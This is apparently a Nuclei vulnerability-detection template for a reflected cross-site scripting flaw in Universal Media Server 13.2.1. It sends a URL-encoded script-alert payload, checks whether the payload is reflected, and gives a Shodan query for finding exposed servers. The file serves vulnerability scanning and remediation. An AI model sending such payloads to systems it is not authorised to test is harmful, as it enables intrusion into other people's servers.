id: universal-media-xss

info:
  name: Universal Media Server v13.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Universal Media Server v13.2.1 CMS v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability.
  remediation: Fixed in version 13.2.2
  reference:
    - https://packetstormsecurity.com/files/171754/Universal-Media-Server-13.2.1-Cross-Site-Scripting.html
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-902890504
  tags: xss,universal,media,unauth,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "404 - File Not Found"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402206e0eefe2e20993d5fe8a19bee16155d03d5c68ef362b34ec77fa824607baffd6022060ca1649e8ae30bdc883f2f52f2146b04c8c4c3def28307b400e1b1bd26bb974:922c64590222798bb761d5b6d8e72950